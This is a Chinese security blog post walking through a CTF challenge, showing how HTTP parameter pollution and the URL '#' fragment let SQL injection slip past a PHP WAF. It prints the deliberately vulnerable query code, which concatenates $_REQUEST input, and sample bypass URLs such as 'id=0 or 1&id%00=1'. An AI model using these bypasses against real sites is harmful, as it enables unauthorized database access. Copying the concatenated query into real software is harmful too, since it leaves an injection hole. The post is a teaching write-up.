IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    分享PHP两个有趣的特性导致waf绕过注入

    小残发表于 2016-10-31 08:18:59
    love 0

    50658pic2kb_10241-1

    1、HPP HTTP参数污染

    HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比如Apache就要以最后一个参数为准,比如:
    user.php?id=111&id=222
    如果输出$_GET数组,则id的值只会取222,即URL上提交的多余值覆盖了前一个值。

    2、一个CTF题目

    关于注入的waf绕过,注入点为:

    $sql="select * from user where id=".$_REQUEST["id"].";";

    可以看到了REQUEST进行传递,并且存在如下的waf代码:

     functionwaf($str) {  
            if(stripos($str,"select")!==false)  
                die("Be a good person!");  
            if(stripos($str,"union")!==false)  
                die("Be a good person!");  
            ......  
        }    
          
        functionwafArr($arr) {  
            foreach($arras$k=> $v) {  
                waf($k);  
                waf($v);  
            }  
        }    
          
        wafArr($_GET);  
        wafArr($_POST);  
        wafArr($_COOKIE);  
        wafArr($_SESSION);  
          
        functionstripStr($str) {  
            if(get_magic_quotes_gpc())  
                $str= stripslashes($str);  
            returnaddslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));  
        }    
          
        $uri= explode("?",$_SERVER['REQUEST_URI']);  
        if(isset($uri[1])) {  
            $parameter= explode("&",$uri[1]);  
            foreach($parameteras$k=> $v) {  
                $v1= explode("=",$v);  
                if(isset($v1[1])) {  
                    $_REQUEST[$v1[0]] = stripStr($v1[1]);  
                }  
            }  
        }    
          
        functionstripArr($arr) {  
            $new_arr= array();  
            foreach($arras$k=> $v) {  
                $new_arr[stripStr($k)] = stripStr($v);  
            }  
            return$new_arr;  
        }    
          
        $_GET=stripArr($_GET);  
        $_POST=stripArr($_POST);  
        $_COOKIE=stripArr($_COOKIE);  
        $_SESSION=stripArr($_SESSION);

    这里使用了waf函数分别对GET POST SESSION COOKIE数据进行过滤,并且对这些全局数组进行转义。

    值得注意的是,这里的$_REQUEST是代码中重新根据$_SERVER[‘REQUEST_URI’]进行拼接,在拼接过程中将参数值进行转义操作。

    (1)思路1  使用HPP特性

    看似不太可能存在注入,但是使用HPP可以实现。
    示例代码:
    user.php?id=0 or 1&id%00=1  
    user.php?id=0 or 1&%20id=1  
    user.php?id=0 or 1?&id=1

    测试代码:

     <?php  
          
        function stripArr($arr) {  
            $new_arr = array();  
            foreach ($arr as $k => $v) {  
                $new_arr[stripStr($k)] = stripStr($v);  
            }  
            return $new_arr;  
        }  
          
        function stripStr($str) {  
            if (get_magic_quotes_gpc())  
                $str = stripslashes($str);  
            return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));  
        }  
          
        $uri = explode("?",$_SERVER['REQUEST_URI']);  
        if(isset($uri[1])) {  
            $parameter = explode("&",$uri[1]);  
            foreach ($parameter as $k => $v) {  
                $v1 = explode("=",$v);  
                if (isset($v1[1])) {  
                    $_REQUEST[$v1[0]] = stripStr($v1[1]);  
                }  
            }  
        }  
        var_dump($_GET) ;  
          
        var_dump($_REQUEST) ;  
          
        ?>

    输出结果:

    20160704231822674

    可以看到,这里的GET数组取到了最后一个值,不会触发waf,而REQUEST数据中,id则为我们的注入语句,这样
    利用这两者之间的差异,我们可以绕过waf函数的检测,并且利用之前的注入点来实现注入。

    (2)思路2: 利用#特性($_SERVER[‘REQUEST_URI’])

    在浏览器中,是不会将#号之后的hash内容发送给服务器的,这里利用burp发包,可以将hash的内容发送至服务器,比如发送:
    /#?id=1
    这里GET数组为空,REQUEST则输出为/#?id=1,这样,就可以绕过waf函数对GET数组的判断,
    并且在REQUEST(这里主要因为REQUEST数组是使用了REQUEST_URI进行了重组)中携带注入的语句,绕过了waf检测。

    201607042319164972

    3、总结

    这种特性导致的漏洞场景比较特殊,首先,CTF中模拟的场景是waf函数 只对GET,POST,SESSION,COOKIES全局数组进行的处理,注入点为REQUEST,在场景中,代码对REQUEST数组通 过$_SERVER[‘REQUEST_URI’],使用&分割重新组装的,这种代码处理可能是由于程序员想对REQUEST数组进行转义或者一 些净化处理才加进来的。
    利用:
    (1)HPP特性,提交重复参数内容,PHP处理参数时会覆盖,但是程序拼接时会出现差异,
    比如提交:http://127.0.0.1/shell.php?id=0 or 1&id%00=1
    GET为id=1,REQUEST为:
    'id' =&gt;<small>string</small>'0%20or%201'(length=10)
    'id%00' =&gt;<small>string</small>'1'(length=1)

    可以看到,成功将注入内容引入到REQUEST数组中。

    (2)利用#符号

    #后面的内容不会带入至GET数组中,但是会出现在REQUEST_URI中,所以可以利用这个特性将注入语句带入到REQUEST对象中。
    总之,这种特性导致的漏洞场景比较特殊,但是确实比较有趣。

    博客头像
    作者: 小残 绳命不息 |折腾不止 |我一天不折腾心里难受
    转载请以链接形式注明本文地址:https://www.exehack.net/4036.html
    版权所有© 小残's Blog – 关注网络安全 | 本网站内容采用 BY-NC-SA 进行授权。


沪ICP备19023445号-2号
友情链接